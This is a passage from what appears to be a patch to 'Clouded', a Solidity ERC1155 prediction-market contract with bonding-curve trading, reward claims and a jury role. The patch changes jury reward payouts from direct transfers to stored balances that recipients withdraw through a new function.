     function getMarketInfo(uint256 _marketId) external view returns (
         string    memory name, 
         string    memory rule, 
         uint256[] memory outcomeIds, 
         uint256 startAt, 
         uint256 daysOf, 
         uint256 shares, 
         uint256 bondingPool, 
         uint256 prizePool
     ) {
         name        = markets_[_marketId].name;
         rule        = markets_[_marketId].rule;
         outcomeIds  = markets_[_marketId].outcomeIds;
         startAt     = markets_[_marketId].startAt;
         daysOf      = markets_[_marketId].daysOf;
         shares      = markets_[_marketId].shares;
         bondingPool = markets_[_marketId].bondingPool;
         prizePool   = markets_[_marketId].prizePool;
     }
 
     function getTraderOutcomeIds(address _traderAddr) external view returns (uint256[] memory) { return traderOutcomeIds_[_traderAddr].getAll(); }
 
     function getTraderOutcomePnlInBatch(address _traderAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory shares, uint256[] memory avgCost, uint256[] memory avgSell, int256[] memory pnl, uint256[] memory impliedRewardToWin) {
         shares  = new uint256[](_outcomeIds.length);
         avgCost = new uint256[](_outcomeIds.length);
         avgSell = new uint256[](_outcomeIds.length);
         pnl     = new int256[](_outcomeIds.length);
         impliedRewardToWin = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) {
             uint256 _outcomeId = _outcomeIds[i];
             uint256 _marketId  = outcomes_[_outcomeId].marketId;
             shares[i]  = balanceOf(_traderAddr, _outcomeId);
             avgCost[i] = traderOutcomeAvgCost_[_traderAddr][_outcomeId].avgPrice;
             avgSell[i] = traderOutcomeAvgSell_[_traderAddr][_outcomeId].avgPrice;
             pnl[i]     = traderOutcomePnl_[_traderAddr][_outcomeId];
             if (shares[i] > 0) impliedRewardToWin[i] = _calculateOutcomeReward(shares[i], markets_[_marketId].prizePool + markets_[_marketId].bondingPool, outcomes_[_outcomeId].shares);
         }
     }
 
     function getOutcomeBuyQuote(uint256 _outcomeId, uint256 _shares) external view returns (uint256 price, uint256 impliedRewardToWin, uint256 minRewardToWin) {
         uint256 _marketId = outcomes_[_outcomeId].marketId;
         Market storage market = markets_[_marketId];
         uint256 _marketExecutionPrice  = _getPriceAppreciation(market.shares, true, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(outcomes_[_outcomeId].shares, true, _shares) / 2;
         price = _marketExecutionPrice + _outcomeExecutionPrice;
 
         uint256 _totalPool   = market.prizePool + market.bondingPool + price;
         uint256 _sharesAfter = outcomes_[_outcomeId].shares + _shares;
         impliedRewardToWin   = _calculateOutcomeReward(_shares, _totalPool, _sharesAfter);
 
         uint256 _totalPrizePool = 2 * (market.prizePool + _outcomeExecutionPrice);
         minRewardToWin = _getMinRewardToWin(_shares, _totalPool, _totalPrizePool, _sharesAfter);
     }
 
     function getPriceAppreciation(uint256 _outcomeId, bool _isBuy, uint256 _shares) external view returns (uint256) {
         uint256 _marketId = outcomes_[_outcomeId].marketId;
         uint256 _marketTotalShares  = markets_[_marketId].shares;
         uint256 _outcomeTotalShares = outcomes_[_outcomeId].shares;
         require(_isBuy || _outcomeTotalShares >= _shares, "Exceed outcome total shares");
         uint256 _marketExecutionPrice  = _getPriceAppreciation(_marketTotalShares, _isBuy, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(_outcomeTotalShares, _isBuy, _shares) / 2;
         if (_isBuy) return _marketExecutionPrice + _outcomeExecutionPrice;
         else return _marketExecutionPrice;
     }
 
     function updateURI(string memory _newURI) external nonReentrant {
         require(msg.sender == MANAGER, "Not authorized");
         _setURI(_newURI);
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days) external nonReentrant isJury returns (uint256[] memory) {
         require(bytes(_name).length >= 10 && bytes(_name).length <= 200, "Name out of bound");
         require(bytes(_rule).length <= 4000, "Rule out of bound");
         require(_outcomes.length >= 2 && _outcomes.length <= 64, "Outcomes out of bound");
         require(_days >= 1 && _days <= 365, "At least 1 day and within 1 year");
 
         markets_[nextMarketId].name = _name;
         markets_[nextMarketId].rule = _rule;
         for (uint256 i = 0; i < _outcomes.length; i++) {
             require(bytes(_outcomes[i]).length > 0, "Outcome empty");
             markets_[nextMarketId].outcomeIds.push(nextOutcomeId);
             outcomes_[nextOutcomeId].marketId = nextMarketId;
             outcomes_[nextOutcomeId].name = _outcomes[i];
             nextOutcomeId++;
         }
         markets_[nextMarketId].startAt = block.timestamp;
         markets_[nextMarketId].daysOf  = _days * 1 days;
         nextMarketId++;
 
         return markets_[nextMarketId - 1].outcomeIds;
     }
 
     function buy(address _msgSender, uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external payable nonReentrant isJury { _buy(_msgSender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS); }
 
     function buy(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external payable nonReentrant {
         uint256 _outcomeMarketId = outcomes_[_outcomeId].marketId;
         require(_outcomeMarketId != 0, "Invalid outcome id");
         require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
         _buy(msg.sender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS);
     }
     
     function _buy(address _msgSender, uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) private {
         require(_shares > 0, "Shares cannot be 0");
         require(_slippageBPS <= 2000, "Exceed max slippage");
 
         Market storage market = markets_[_outcomeMarketId];
         Outcome storage outcome = outcomes_[_outcomeId];
         uint256 _marketExecutionPrice  = _getPriceAppreciation(market.shares, true, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(outcome.shares, true, _shares) / 2;
         uint256 _totalExecutionPrice   = _marketExecutionPrice + _outcomeExecutionPrice;
         require(_totalExecutionPrice <= _frontendPrice * (10000 + _slippageBPS) / 10000, "Exceed slippage");
         require(msg.value >= _totalExecutionPrice, "Insufficient payment");
 
         _calculateAvgCost(_msgSender, _outcomeId, true, _shares, _totalExecutionPrice);
 
         outcome.shares     += _shares;
         market.shares      += _shares;
         market.bondingPool += _marketExecutionPrice;
         market.prizePool   += _outcomeExecutionPrice;
         traderOutcomeIds_[_msgSender].add(_outcomeId);
         _mint(_msgSender, _outcomeId, _shares, "");
 
         uint256 _refund = msg.value - _totalExecutionPrice;
         if (_refund > 0) {
             (bool _success, ) = _msgSender.call{value: _refund}("");
             require(_success, "Refund failed");
         }
 
         emit Buy(_msgSender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS, market.shares, outcome.shares, market.bondingPool, market.prizePool);
     }
 
     function sell(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external nonReentrant {
         Outcome storage outcome  = outcomes_[_outcomeId];
         uint256 _outcomeMarketId = outcome.marketId;
         require(_outcomeMarketId != 0, "Invalid outcome id");
         require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
         require(balanceOf(msg.sender, _outcomeId) >= _shares, "Insufficient balance");
         require(_shares > 0, "Shares cannot be 0");
         require(_slippageBPS <= 2000, "Exceed max slippage");
 
         Market storage market = markets_[_outcomeMarketId];
         uint256 _refund       = _getPriceAppreciation(market.shares, false, _shares) / 2;
         uint256 _minRefund    = _frontendPrice * (10000 - _slippageBPS) / 10000;
         require(_refund >= _minRefund, "Exceed slippage");
 
         _calculateAvgSell(msg.sender, _outcomeId, _shares, _refund);
         _calculateAvgCost(msg.sender, _outcomeId, false, _shares, _refund);
 
         market.shares      -= _shares;
         market.bondingPool -= _refund;
         outcome.shares     -= _shares;
         _burn(msg.sender, _outcomeId, _shares);
         if (balanceOf(msg.sender, _outcomeId) == 0) traderOutcomeIds_[msg.sender].remove(_outcomeId);
 
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             require(_success, "Refund failed");
         }
 
         _emitSell(_outcomeMarketId, _outcomeId, _shares, _refund, _frontendPrice, _slippageBPS);
 
         _emitSellAfter(_outcomeMarketId, _outcomeId);
     }
 
     function _emitSell(uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _refund, uint256 _frontendPrice, uint256 _slippageBPS) private { emit Sell(msg.sender, _outcomeMarketId, _outcomeId, _shares, _refund, _frontendPrice, _slippageBPS, traderOutcomeIds_[msg.sender].isSet(_outcomeId)); }
 
     function _emitSellAfter(uint256 _marketId, uint256 _outcomeId) private { emit SellAfter(_marketId, _outcomeId, markets_[_marketId].shares, outcomes_[_outcomeId].shares, markets_[_marketId].bondingPool); }
 
     function claimReward(uint256 _marketId) external nonReentrant {
         require(IJury(JURY).updateMarketStatus(_marketId) == 4, "Market not ended");
 
         (, , , , , uint256 _juryOutcomeId, uint256 _votingOutcomeId, , , bool _marketResolved) = IJury(JURY).getMarketStoredInfo(_marketId);
         require(_marketResolved, "Market not resolved");
 
         uint256 _resolvedOutcomeId;
         if (_votingOutcomeId != 0)    _resolvedOutcomeId = _votingOutcomeId;
         else if (_juryOutcomeId != 0) _resolvedOutcomeId = _juryOutcomeId;
         else                          _resolvedOutcomeId = _getMarketWinningOutcome(_marketId);
 
         uint256 _traderShares;
         uint256 _traderReward;
         uint256 _totalReward = _getMarketTotalReward(_marketId);
         uint256[] memory _outcomeIds = markets_[_marketId].outcomeIds;
         for (uint256 i = 0; i < _outcomeIds.length; i++) {
             _traderShares = balanceOf(msg.sender, _outcomeIds[i]);
             if (_traderShares == 0) continue;
             _burn(msg.sender, _outcomeIds[i], _traderShares);
             traderOutcomeIds_[msg.sender].remove(_outcomeIds[i]);
             if (_outcomeIds[i] == _resolvedOutcomeId) _traderReward = _calculateOutcomeReward(_traderShares, _totalReward, outcomes_[_resolvedOutcomeId].shares);
             emit ClaimTraderReward(msg.sender, _marketId, _outcomeIds[i], _traderShares, _totalReward, _traderReward);
         }
 
         if (_traderReward > 0) {
             (bool _success, ) = msg.sender.call{value: _traderReward}("");
             require(_success, "Refund failed");
         }
     }
 
     function claimJuryReward(address _msgSender, uint256 _tokenMarketId, uint256 _totalWinnerOutcomeStakes) external nonReentrant isJury returns (uint256 tokenReward) {
         uint256 _marketTotalReward = _getMarketTotalReward(_tokenMarketId);
         tokenReward =  _marketTotalReward / 10 / _totalWinnerOutcomeStakes;
-        if (tokenReward > 0) {
-            (bool _success, ) = _msgSender.call{value: tokenReward}("");
-            require(_success, "Jury refund failed");
-        }
+        pendingJuryRewards[_msgSender] += tokenReward;
     }
 
+    function withdrawJuryReward(address payable _recipient) external nonReentrant {
+        uint256 _reward = pendingJuryRewards[msg.sender];
+        require(_reward > 0, "No jury reward");
+        pendingJuryRewards[msg.sender] = 0;
+        (bool _success, ) = _recipient.call{value: _reward}("");
+        require(_success, "Jury refund failed");
+    }
+
     function _update(address _from, address _to, uint256[] memory _ids, uint256[] memory _values) internal virtual override {
         super._update(_from, _to, _ids, _values);
         
         if (_from != address(0) && _to != address(0)) {
             for (uint256 i = 0; i < _ids.length; i++) {
                 if (_values[i] > 0) {
                     traderOutcomeIds_[_to].add(_ids[i]);
                     if (balanceOf(_from, _ids[i]) == 0) traderOutcomeIds_[_from].remove(_ids[i]);
                     emit TransferToken(_from, _to, _ids[i], traderOutcomeIds_[_from].isSet(_ids[i]));
                 }
             }
         }
     }
 
     function _getPriceAppreciation(uint256 _idTotalShares, bool _isBuy, uint256 _shares) private pure returns (uint256) {
         uint256 _sharesAfter = _isBuy ? _idTotalShares + _shares : _idTotalShares - _shares;
         uint256 _sharesAfterSquared  = _sharesAfter * _sharesAfter;
         uint256 _sharesBeforeSquared = _idTotalShares * _idTotalShares;
         return _isBuy ? B * (_sharesAfterSquared - _sharesBeforeSquared) * DECIMALS / 2 / 10000 : B * (_sharesBeforeSquared - _sharesAfterSquared) * DECIMALS / 2 / 10000;
     }
 
     function _getMarketWinningOutcome(uint256 _marketId) private view returns (uint256) {
         uint256 _currentOutcomeId;
         uint256 _winningOutcomeShares;
         uint256 _winningOutcomeId;
         for (uint256 i = 0; i < markets_[_marketId].outcomeIds.length; i++) {
             _currentOutcomeId = markets_[_marketId].outcomeIds[i];
             if (outcomes_[_currentOutcomeId].shares > _winningOutcomeShares) {
                 _winningOutcomeShares = outcomes_[_currentOutcomeId].shares;
                 _winningOutcomeId = _currentOutcomeId;
             }
         }
         return _winningOutcomeId;
     }
 
     function _getMarketTotalReward(uint256 _marketId) private view returns (uint256) { return markets_[_marketId].bondingPool + markets_[_marketId].prizePool; }
 
     function _calculateOutcomeReward(uint256 _traderShares, uint256 _pool, uint256 _outcomeShares) private pure returns (uint256) { return _traderShares * _pool * 9 / _outcomeShares / 10; }
 
     function _calculateAvgCost(address _traderAddr, uint256 _outcomeId, bool _isBuy, uint256 _shares, uint256 _price) private {
         AvgPrice storage traderOutcomeAvgCost = traderOutcomeAvgCost_[_traderAddr][_outcomeId];
         if (_isBuy) {
             traderOutcomeAvgCost.avgPrice = (traderOutcomeAvgCost.shares * traderOutcomeAvgCost.avgPrice + _price) / (traderOutcomeAvgCost.shares + _shares);
             traderOutcomeAvgCost.shares  += _shares;
         }
         if (!_isBuy) {
             if (traderOutcomeAvgCost.shares <= _shares) {
                 _shares = traderOutcomeAvgCost.shares;
                 traderOutcomeAvgCost.avgPrice = 0;
             }
             traderOutcomeAvgCost.shares -= _shares;
         }
         emit TraderAvgCost(_traderAddr, _outcomeId, traderOutcomeAvgCost.avgPrice);
     }
 
     function _calculateAvgSell(address _traderAddr, uint256 _outcomeId, uint256 _shares, uint256 _price) private {
         AvgPrice storage traderOutcomeAvgSell = traderOutcomeAvgSell_[_traderAddr][_outcomeId];
         uint256 _avgSell = _price / _shares;
 
         traderOutcomeAvgSell.avgPrice = (traderOutcomeAvgSell.avgPrice * traderOutcomeAvgSell.shares + _avgSell * _shares) / (traderOutcomeAvgSell.shares + _shares);
         traderOutcomeAvgSell.shares  += _shares;
 
         int256 _pnlPerShare = int256(_avgSell) - int256(traderOutcomeAvgCost_[_traderAddr][_outcomeId].avgPrice);
         int256 _totalPnl    = _pnlPerShare * int256(_shares);
         traderOutcomePnl_[_traderAddr][_outcomeId] += _totalPnl;
 
         emit TraderAvgSell(_traderAddr, _outcomeId, traderOutcomeAvgSell.avgPrice, traderOutcomePnl_[_traderAddr][_outcomeId]);
     }
 
     function _getMinRewardToWin(uint256 _shares, uint256 _totalPool, uint256 _totalPrizePool, uint256 _sharesAfterBuy) private pure returns (uint256) {
         uint256 _effectivePool = _totalPrizePool < _totalPool ? _totalPrizePool : _totalPool;
 
         uint256 _k   = B * DECIMALS / 10000;
         uint256 _kS2 = _k * _sharesAfterBuy * _sharesAfterBuy; // if k × sharesAfterBuy < 0.9 × poolAfterBuy / sharesAfterBuy, has guaranteed min profit to enter if won
         if (_kS2 * 10 >= _effectivePool * 9) return _calculateOutcomeReward(_shares, _effectivePool, _sharesAfterBuy);
 
         uint256 _numerator   = 18 * _effectivePool - 9 * _kS2;
         uint256 _denominator = 11 * _k;
         uint256 _equilibrium = _sqrt(_numerator / _denominator); // c(S_eq) = 0.9 × P_eq / S_eq --> P_eq = P₀ + k(S_eq² - S₀²)/2 --> S_eq = √[ 18(P₀ - kS₀²/2) / 11k ]
 
         return _shares * _k * _equilibrium;
     }
 
     function _sqrt(uint256 y) private pure returns (uint256 z) {
         if (y > 3) {
             z = y;
             uint256 x = y / 2 + 1;
             while (x < z) { z = x; x = (y / x + x) / 2; }
         } else if (y != 0) z = 1;
     }
 }
\ No newline at end of file

diff --git a/src/Clouded.sol b/src/Clouded.sol
--- a/src/Clouded.sol
+++ b/src/Clouded.sol
@@ -1,412 +1,418 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { ERC1155 } from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IJury {
     function updateMarketStatus(uint256) external returns (uint8);
     function getMarketStoredInfo(uint256) external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, bytes32, bool, bool);
 }
 
 contract Clouded is ERC1155, ReentrancyGuardTransient {
     using Ids for Ids.Set;
 
     event Buy(address indexed buyer, uint256 indexed marketId, uint256 indexed outcomeId, uint256 shares, uint256 frontendPrice, uint256 slippageBPS, uint256 marketShares, uint256 outcomeShares, uint256 bondingPool, uint256 prizePool);
     event Sell(address indexed seller, uint256 indexed marketId, uint256 indexed outcomeId, uint256 shares, uint256 refund, uint256 frontendPrice, uint256 slippageBPS, bool isTraderOutcome);
     event SellAfter(uint256 indexed marketId, uint256 indexed outcomeId, uint256 marketShares, uint256 outcomeShares, uint256 bondingPool);
     event TraderAvgCost(address indexed trader, uint256 indexed outcomeId, uint256 avgCost);
     event TraderAvgSell(address indexed trader, uint256 indexed outcomeId, uint256 avgSell, int256 pnl);
     event ClaimTraderReward(address indexed trader, uint256 indexed marketId, uint256 indexed outcomeId, uint256 traderShares, uint256 totalReward, uint256 traderReward);
     event TransferToken(address indexed from, address indexed to, uint256 indexed outcomeId, bool isTraderOutcomesFrom);
 
     uint256 constant B = 1;
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public immutable JURY;
 
     uint256 public nextMarketId;
     uint256 public nextOutcomeId;
 
     mapping(uint256 => Market)  private markets_;
     mapping(uint256 => Outcome) private outcomes_;
 
     mapping(address => Ids.Set) private traderOutcomeIds_;
+    mapping(address => uint256) public pendingJuryRewards;
     mapping(address => mapping(uint256 => AvgPrice)) private traderOutcomeAvgCost_;
     mapping(address => mapping(uint256 => AvgPrice)) private traderOutcomeAvgSell_;
     mapping(address => mapping(uint256 => int256)) private traderOutcomePnl_;
 
     struct Market {
         string name;
         string rule;
         uint256[] outcomeIds;
         uint256 startAt;
         uint256 daysOf;
         uint256 shares;
         uint256 bondingPool; // Accumulated bonding curve deposits. Refundable via sell during market; at settlement, distributed proportionally to winners.
         uint256 prizePool; // Fixed buy-in contributions from all traders. Non-refundable. Combined with bondingPool, Distributed to winners at settlement.
     }
 
     struct Outcome {
         uint256 marketId;
         string name;
         uint256 shares;
     }
 
     struct AvgPrice {
         uint256 shares;
         uint256 avgPrice;
     }
 
     modifier isJury() { require(msg.sender == JURY, "Not authorized"); _; }
 
     constructor(string memory _uri, address _managerAddr, address _juryAddr) ERC1155(_uri) {
         nextMarketId = 1;
         nextOutcomeId = 1;
         MANAGER = _managerAddr;
         JURY = _juryAddr;
     }
 
     function getMarketStartAtDaysOf(uint256 _marketId) external view returns (uint256, uint256) { return (markets_[_marketId].startAt, markets_[_marketId].daysOf); }
 
     function getMarketOutcomeIds(uint256 _marketId) external view returns (uint256[] memory) { return markets_[_marketId].outcomeIds; }
 
     function getOutcomeMarketId(uint256 _outcomeId) external view returns (uint256) { return outcomes_[_outcomeId].marketId; }
 
     function getMarketWinningOutcome(uint256 _marketId) external view returns (uint256) { return _getMarketWinningOutcome(_marketId); } // The function returns the outcome with most shares in a market
 
     function getMarketTotalReward(uint256 _marketId) external view returns (uint256) { return _getMarketTotalReward(_marketId); }
 
     function getMarketInfo(uint256 _marketId) external view returns (
         string    memory name, 
         string    memory rule, 
         uint256[] memory outcomeIds, 
         uint256 startAt, 
         uint256 daysOf, 
         uint256 shares, 
         uint256 bondingPool, 
         uint256 prizePool
     ) {
         name        = markets_[_marketId].name;
         rule        = markets_[_marketId].rule;
         outcomeIds  = markets_[_marketId].outcomeIds;
         startAt     = markets_[_marketId].startAt;
         daysOf      = markets_[_marketId].daysOf;
         shares      = markets_[_marketId].shares;
         bondingPool = markets_[_marketId].bondingPool;
         prizePool   = markets_[_marketId].prizePool;
     }
 
     function getTraderOutcomeIds(address _traderAddr) external view returns (uint256[] memory) { return traderOutcomeIds_[_traderAddr].getAll(); }
 
     function getTraderOutcomePnlInBatch(address _traderAddr, uint256[] memory _outcomeIds) external view returns (uint256[] memory shares, uint256[] memory avgCost, uint256[] memory avgSell, int256[] memory pnl, uint256[] memory impliedRewardToWin) {
         shares  = new uint256[](_outcomeIds.length);
         avgCost = new uint256[](_outcomeIds.length);
         avgSell = new uint256[](_outcomeIds.length);
         pnl     = new int256[](_outcomeIds.length);
         impliedRewardToWin = new uint256[](_outcomeIds.length);
         for (uint256 i = 0; i < _outcomeIds.length; i++) {
             uint256 _outcomeId = _outcomeIds[i];
             uint256 _marketId  = outcomes_[_outcomeId].marketId;
             shares[i]  = balanceOf(_traderAddr, _outcomeId);
             avgCost[i] = traderOutcomeAvgCost_[_traderAddr][_outcomeId].avgPrice;
             avgSell[i] = traderOutcomeAvgSell_[_traderAddr][_outcomeId].avgPrice;
             pnl[i]     = traderOutcomePnl_[_traderAddr][_outcomeId];
             if (shares[i] > 0) impliedRewardToWin[i] = _calculateOutcomeReward(shares[i], markets_[_marketId].prizePool + markets_[_marketId].bondingPool, outcomes_[_outcomeId].shares);
         }
     }
 
     function getOutcomeBuyQuote(uint256 _outcomeId, uint256 _shares) external view returns (uint256 price, uint256 impliedRewardToWin, uint256 minRewardToWin) {
         uint256 _marketId = outcomes_[_outcomeId].marketId;
         Market storage market = markets_[_marketId];
         uint256 _marketExecutionPrice  = _getPriceAppreciation(market.shares, true, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(outcomes_[_outcomeId].shares, true, _shares) / 2;
         price = _marketExecutionPrice + _outcomeExecutionPrice;
 
         uint256 _totalPool   = market.prizePool + market.bondingPool + price;
         uint256 _sharesAfter = outcomes_[_outcomeId].shares + _shares;
         impliedRewardToWin   = _calculateOutcomeReward(_shares, _totalPool, _sharesAfter);
 
         uint256 _totalPrizePool = 2 * (market.prizePool + _outcomeExecutionPrice);
         minRewardToWin = _getMinRewardToWin(_shares, _totalPool, _totalPrizePool, _sharesAfter);
     }
 
     function getPriceAppreciation(uint256 _outcomeId, bool _isBuy, uint256 _shares) external view returns (uint256) {
         uint256 _marketId = outcomes_[_outcomeId].marketId;
         uint256 _marketTotalShares  = markets_[_marketId].shares;
         uint256 _outcomeTotalShares = outcomes_[_outcomeId].shares;
         require(_isBuy || _outcomeTotalShares >= _shares, "Exceed outcome total shares");
         uint256 _marketExecutionPrice  = _getPriceAppreciation(_marketTotalShares, _isBuy, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(_outcomeTotalShares, _isBuy, _shares) / 2;
         if (_isBuy) return _marketExecutionPrice + _outcomeExecutionPrice;
         else return _marketExecutionPrice;
     }
 
     function updateURI(string memory _newURI) external nonReentrant {
         require(msg.sender == MANAGER, "Not authorized");
         _setURI(_newURI);
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days) external nonReentrant isJury returns (uint256[] memory) {
         require(bytes(_name).length >= 10 && bytes(_name).length <= 200, "Name out of bound");
         require(bytes(_rule).length <= 4000, "Rule out of bound");
         require(_outcomes.length >= 2 && _outcomes.length <= 64, "Outcomes out of bound");
         require(_days >= 1 && _days <= 365, "At least 1 day and within 1 year");
 
         markets_[nextMarketId].name = _name;
         markets_[nextMarketId].rule = _rule;
         for (uint256 i = 0; i < _outcomes.length; i++) {
             require(bytes(_outcomes[i]).length > 0, "Outcome empty");
             markets_[nextMarketId].outcomeIds.push(nextOutcomeId);
             outcomes_[nextOutcomeId].marketId = nextMarketId;
             outcomes_[nextOutcomeId].name = _outcomes[i];
             nextOutcomeId++;
         }
         markets_[nextMarketId].startAt = block.timestamp;
         markets_[nextMarketId].daysOf  = _days * 1 days;
         nextMarketId++;
 
         return markets_[nextMarketId - 1].outcomeIds;
     }
 
     function buy(address _msgSender, uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external payable nonReentrant isJury { _buy(_msgSender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS); }
 
     function buy(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external payable nonReentrant {
         uint256 _outcomeMarketId = outcomes_[_outcomeId].marketId;
         require(_outcomeMarketId != 0, "Invalid outcome id");
         require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
         _buy(msg.sender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS);
     }
     
     function _buy(address _msgSender, uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) private {
         require(_shares > 0, "Shares cannot be 0");
         require(_slippageBPS <= 2000, "Exceed max slippage");
 
         Market storage market = markets_[_outcomeMarketId];
         Outcome storage outcome = outcomes_[_outcomeId];
         uint256 _marketExecutionPrice  = _getPriceAppreciation(market.shares, true, _shares) / 2;
         uint256 _outcomeExecutionPrice = _getPriceAppreciation(outcome.shares, true, _shares) / 2;
         uint256 _totalExecutionPrice   = _marketExecutionPrice + _outcomeExecutionPrice;
         require(_totalExecutionPrice <= _frontendPrice * (10000 + _slippageBPS) / 10000, "Exceed slippage");
         require(msg.value >= _totalExecutionPrice, "Insufficient payment");
 
         _calculateAvgCost(_msgSender, _outcomeId, true, _shares, _totalExecutionPrice);
 
         outcome.shares     += _shares;
         market.shares      += _shares;
         market.bondingPool += _marketExecutionPrice;
         market.prizePool   += _outcomeExecutionPrice;
         traderOutcomeIds_[_msgSender].add(_outcomeId);
         _mint(_msgSender, _outcomeId, _shares, "");
 
         uint256 _refund = msg.value - _totalExecutionPrice;
         if (_refund > 0) {
             (bool _success, ) = _msgSender.call{value: _refund}("");
             require(_success, "Refund failed");
         }
 
         emit Buy(_msgSender, _outcomeMarketId, _outcomeId, _shares, _frontendPrice, _slippageBPS, market.shares, outcome.shares, market.bondingPool, market.prizePool);
     }
 
     function sell(uint256 _outcomeId, uint256 _shares, uint256 _frontendPrice, uint256 _slippageBPS) external nonReentrant {
         Outcome storage outcome  = outcomes_[_outcomeId];
         uint256 _outcomeMarketId = outcome.marketId;
         require(_outcomeMarketId != 0, "Invalid outcome id");
         require(IJury(JURY).updateMarketStatus(_outcomeMarketId) == 0, "Market ended");
         require(balanceOf(msg.sender, _outcomeId) >= _shares, "Insufficient balance");
         require(_shares > 0, "Shares cannot be 0");
         require(_slippageBPS <= 2000, "Exceed max slippage");
 
         Market storage market = markets_[_outcomeMarketId];
         uint256 _refund       = _getPriceAppreciation(market.shares, false, _shares) / 2;
         uint256 _minRefund    = _frontendPrice * (10000 - _slippageBPS) / 10000;
         require(_refund >= _minRefund, "Exceed slippage");
 
         _calculateAvgSell(msg.sender, _outcomeId, _shares, _refund);
         _calculateAvgCost(msg.sender, _outcomeId, false, _shares, _refund);
 
         market.shares      -= _shares;
         market.bondingPool -= _refund;
         outcome.shares     -= _shares;
         _burn(msg.sender, _outcomeId, _shares);
         if (balanceOf(msg.sender, _outcomeId) == 0) traderOutcomeIds_[msg.sender].remove(_outcomeId);
 
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             require(_success, "Refund failed");
         }
 
         _emitSell(_outcomeMarketId, _outcomeId, _shares, _refund, _frontendPrice, _slippageBPS);
 
         _emitSellAfter(_outcomeMarketId, _outcomeId);
     }
 
     function _emitSell(uint256 _outcomeMarketId, uint256 _outcomeId, uint256 _shares, uint256 _refund, uint256 _frontendPrice, uint256 _slippageBPS) private { emit Sell(msg.sender, _outcomeMarketId, _outcomeId, _shares, _refund, _frontendPrice, _slippageBPS, traderOutcomeIds_[msg.sender].isSet(_outcomeId)); }
 
     function _emitSellAfter(uint256 _marketId, uint256 _outcomeId) private { emit SellAfter(_marketId, _outcomeId, markets_[_marketId].shares, outcomes_[_outcomeId].shares, markets_[_marketId].bondingPool); }
 
     function claimReward(uint256 _marketId) external nonReentrant {
         require(IJury(JURY).updateMarketStatus(_marketId) == 4, "Market not ended");
 
         (, , , , , uint256 _juryOutcomeId, uint256 _votingOutcomeId, , , bool _marketResolved) = IJury(JURY).getMarketStoredInfo(_marketId);
         require(_marketResolved, "Market not resolved");
 
         uint256 _resolvedOutcomeId;
         if (_votingOutcomeId != 0)    _resolvedOutcomeId = _votingOutcomeId;
         else if (_juryOutcomeId != 0) _resolvedOutcomeId = _juryOutcomeId;
         else                          _resolvedOutcomeId = _getMarketWinningOutcome(_marketId);
 
         uint256 _traderShares;
         uint256 _traderReward;
         uint256 _totalReward = _getMarketTotalReward(_marketId);
         uint256[] memory _outcomeIds = markets_[_marketId].outcomeIds;
         for (uint256 i = 0; i < _outcomeIds.length; i++) {
             _traderShares = balanceOf(msg.sender, _outcomeIds[i]);
             if (_traderShares == 0) continue;
             _burn(msg.sender, _outcomeIds[i], _traderShares);
             traderOutcomeIds_[msg.sender].remove(_outcomeIds[i]);
             if (_outcomeIds[i] == _resolvedOutcomeId) _traderReward = _calculateOutcomeReward(_traderShares, _totalReward, outcomes_[_resolvedOutcomeId].shares);
